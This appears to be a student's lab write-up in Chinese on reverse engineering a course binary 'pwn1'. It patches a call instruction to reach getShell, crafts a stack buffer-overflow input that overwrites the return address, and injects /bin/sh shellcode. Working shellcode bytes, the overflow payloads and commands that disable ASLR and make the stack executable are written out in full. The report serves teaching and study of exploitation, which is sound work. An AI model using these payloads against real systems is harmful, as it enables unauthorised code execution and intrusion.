20155339平措卓玛 Exp1 PC平台逆向破解(5)M
20155339平措卓玛 Exp1 PC平台逆向破解(5)M
实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
基础知识
一、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:NOP是英语“No Operation”的缩写。NOP无操作数,所以称为“空操作”。执行NOP指令只使程序计数器PC加1,所以占用一个机器周期。机器码是“90”。
- JNE:条件转移指令 转移的条件是ne,即不相等(等价于 不等于零)机器码是“75”。
- JE:JE是汇编语言中的一个条件转移指令。机器码是“74”。
- JMP:无条件转移。机器码:“eb"。
- CMP:指令进行比较两个操作数的大小。机器码是“39”。
二、掌握反汇编与十六进制编程器
反汇编命令为
objdump
,加上不同的参数有不同的功能:
1.-d:将代码反汇编;
2.-S:将代码段反汇编的同时,将反汇编代码和源代码交替显示,编译时需要给出-g,即需要调试信息。
3.-C:将C++符号名逆向解析。
4.-l:反汇编代码中插入源代码的文件名和行号。
5.-j section:仅反汇编指定的section。可以有多个-j参数来选择多个section。
用编与十六进制编程器**反汇编命令为
objdump -d
对pwn1进行反汇编:
十六进制编辑器:
1.vi打开文件
2.按esc键,然后输入:%!xxd
,这样就将显示切换为十六进制了。
3.完成编辑后,输入:%!xxd -r
转换为原格式。
三、能正确修改机器指令改变程序执行流程
见实验一。
四、能正确构造payload进行bof攻击
见实验三。
实验内容
实验一
一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
用反汇编指令,对目标文件进行反汇编,命令为:
objdump -d pwn120155339
。我们要使得main函数调用getShell,就要看在哪里调用它,根据对反汇编结果的分析,发现call的是foo函数的地址,那么说明main函数调用了foo函数,对应的机器码是
e8 d7ffffff
,现在分析d7ffffff是怎么来的,首先现在的eip值应该是下一条指令的地址,80484ba,foo函数的地址是8048491,那么必然就是这两个值加或者减获得了d7ffffff,经验证foo函数的地址-80484ba的补码就是d7ffffff,现在我们只需修改d7ffffff为getShell-80484ba对应的补码就可以了。
在这之前先备份,
cp pwn120155339 pwn220155339
。进行修改
vi pwn220155339
,修改步骤如下:
1.按ESC键。
2.以16进制模式显示:%!xxd
3.查找要修改的内容:/e8d7
4.修改d7为c3
5.转换16进制为原格式:%!xxd -r
6.退出:wq验证实验,运行pwn220155339以及原文件pwn120155339,得到如下结果
最后可以反汇编看看main函数是不是真的调用了getShell,call指令后面的地址是不是getShell的地址,若是,至此实验一成功。
实验二
二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
进行反汇编,分析程序有什么漏洞。
通过分析可以知道该程序在foo函数中有读入字符串,但是只预留了一定字节数的空间,那么超出部分就会造成溢出有Buffer overflow漏洞,借助缓冲区溢出的攻击原理,我们需要的就是覆盖返回地址。那么我们需要知道输入字符串哪几个字符会覆盖返回地址。
进行gdb调试,输入一段较长的数字,我这里选取的是1111111122222222333333334444444455555555,用
info r
命令查看此时是否缓冲区溢出,由下图可知道此时的eip寄存器所存储的值是0x35是5的ASCII 值,所以可以知道,此时该字符串中的某个5开始便缓冲区溢出了。
进一步实验,将输入的字符改为可以判断从哪个5开始缓冲区溢出的字符,我选择输入1111111122222222333333334444444412345678,再次查看eip寄存器的值,如下图,可以发现 1234四个数最终会覆盖到堆栈上的返回地址,所以只要把这四个字替换为getShell 的内存地址,输给pwn120155339,pwn120155339就会运行getShell。
用getshell的地址0x0804847d替换输入字符串的1234,又因为是计算机是小端的,所以\x7d\x84\x04\x08代替我们输入的字符串的1234,即用它来覆盖返回地址。
将一组字符串输入到input文件中,这组字符串应该满足这样一个条件,第33-36个字符为用getshell的地址的小端法表示,然后再加一个回车即\x0a,并将其通过管道符“|”作为pwn120155339的输入字符串运行,如下图。
可以看到,程序获取了shell并且成功执行了
ls
命令。
实验三
三、注入一个自己制作的shellcode并运行这段shellcode。
准备工作:
1.首先用execstack -s pwn120155339
设置堆栈可执行。
2.execstack -q pwn120155339
查询文件的堆栈是否可执行。
3.more /proc/sys/kernel/randomize_va_space
。
4.echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化>。
5.more /proc/sys/kernel/randomize_va_space
。
由于缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,并且我们的buf足够大,因此放到前面。
我们使用的shellcode是
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
,其中注意最后不能使回车\x0a
。接下来确定这段shellcode的地址来更换\x4\x3\x2\x1。打开一个终端注入这段攻击buf。
打开另一个终端,用gdb来调试该进程。这之前用
ps -ef | grep pwn120155339
来找到到该进程的进程号,由下图可知为2575。
开始gdb调试。
用
attach 2575
来与进程进行连接。
设置断点,来查看注入buf的内存地址
disassemble foo
,查看ret的地址,段在该处,ret完就会跳到我们覆盖的retaddr处break *0x080484ae
。
另一个终端中回车,以将注入的buf作为输入。
c(Continuing);
用
info r esp
查看esp寄存器的值
shellcode挨着01020304,所以地址是0xffffd310。
因此注入
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
。使用16进制查看指令xxd查看input_shellcode文件的内容是否如预期,若没有错误,则将其作为输入运行。
获得了shell,实验完成。
遇到的问题
- 问题一:在运行pwn时无法运行成功。
- 解决方法:参考了老师的教程64位Kali无法顺利执行pwn1问题的解决方案,但是依旧不成功,之后询问了同学后寻找了新的sources.list源:
#
# deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free
#deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free
#kali官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
#中科大的源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
#阿里云源
deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
#
deb http://ppa.launchpad.net/hzwhuang/ss-qt5/ubuntu xenial main
问题解决。
- 问题二:在最后一个实验中,每次都是断错误。
- 解决方法:重新阅读老师的教程,发现自己,没有关闭地址随机化、开启了堆栈保护,开启了堆栈执行保护,而在这种情况下用这种方法就不会成功,所以做了这些准备工作再次尝试终于成功。
20155339平措卓玛 Exp1 PC平台逆向破解(5)M的更多相关文章
- 20155339平措卓玛 Exp2 后门原理与实践
20155339平措卓玛Exp2 后门原理与实践 基础问题 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:下载并安装某个程序,这个程序可以正常的并且完整的为我们提供服务,但是在开发改程序 ...
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
随机推荐
- 在JavaScript文件中用jQuery方法实现日期时间选择功能
JavaScript Document $(document).ready(function(e) { 在文本框里面显示当前日期 var date = new Date(); var nian = d ...
- Vue -- webpack 项目自动打包压缩成zip文件
这段时间用 Vue2.0 开发项目,每次打包都会用到 npm run build 命令,但是每次部署时给后端发包都要手动zip压缩,这样一两次还行,但遇到项目板块测试和临时加急功能测试的时候,一天可能 ...
- Android之使用枚举利弊及替代方案
Android上不应该使用枚举,占内存,应该使用@XXXDef注解来替代 使用 Enum 的缺点 每一个枚举值都是一个对象,在使用它时会增加额外的内存消耗,所以枚举相比与 Integer 和 Stri ...
- Java Web 开发填坑记- 如何正确的下载 Eclipse
一直以来,做 Java web 开发都是用 eclipse , 可是到 eclipse 官网一看,我的天 http://www.eclipse.org/downloads/eclipse-packag ...
- JDK7下VisualVm插件无法链接到插件中心
VisualVM 是一款免费的,集成了多个 JDK 命令行工具的可视化工具,它能为您提供强大的分析能力,对 Java 应用程序做性能分析和调优.这些功能包括生成和分析海量数据.跟踪内存泄漏.监控垃 ...
- oracle 定义临时变量,并使用分支判断
declare tempCount int; tempID ); begin select count(*) into tempCount from CUSTOMER_PROFILE where id ...
- [转载]Buffer cache的调整与优化
Buffer Cache是SGA的重要组成部分,主要用于缓存数据块,其大小也直接影响系统的性能.当Buffer Cache过小的时候,将会造成更多的free buffer waits事件.下面将具体描 ...
- SQL Server下ADO.NET 怎么获取数据库SQL语句INSERT,UPDATE,DELETE了多少行数据
ADO.NET 在发送SQL语句到SQL Server数据库后,怎么知道真正INSERT,UPDATE,DELETE了多少行数据呢? 使用SQL Server内置的全局变量@@ROWCOUNT即可,@ ...
- 安装并使用pt-ioprofile
pt-ioprofile,是一个percona的性能分析工具,可以查看进程输出.输入,打印一些表文件及活动IO.pt-ioprofile是一个只读工具,所以对数据没风险.由于网上对pt-ioprofi ...
- 转:C#综合揭秘——细说多线程(下)
原文地址:http://www.cnblogs.com/leslies2/archive/2012/02/08/2320914.html 引言 本文主要从线程的基础用法,CLR线程池当中工作者线程与I ...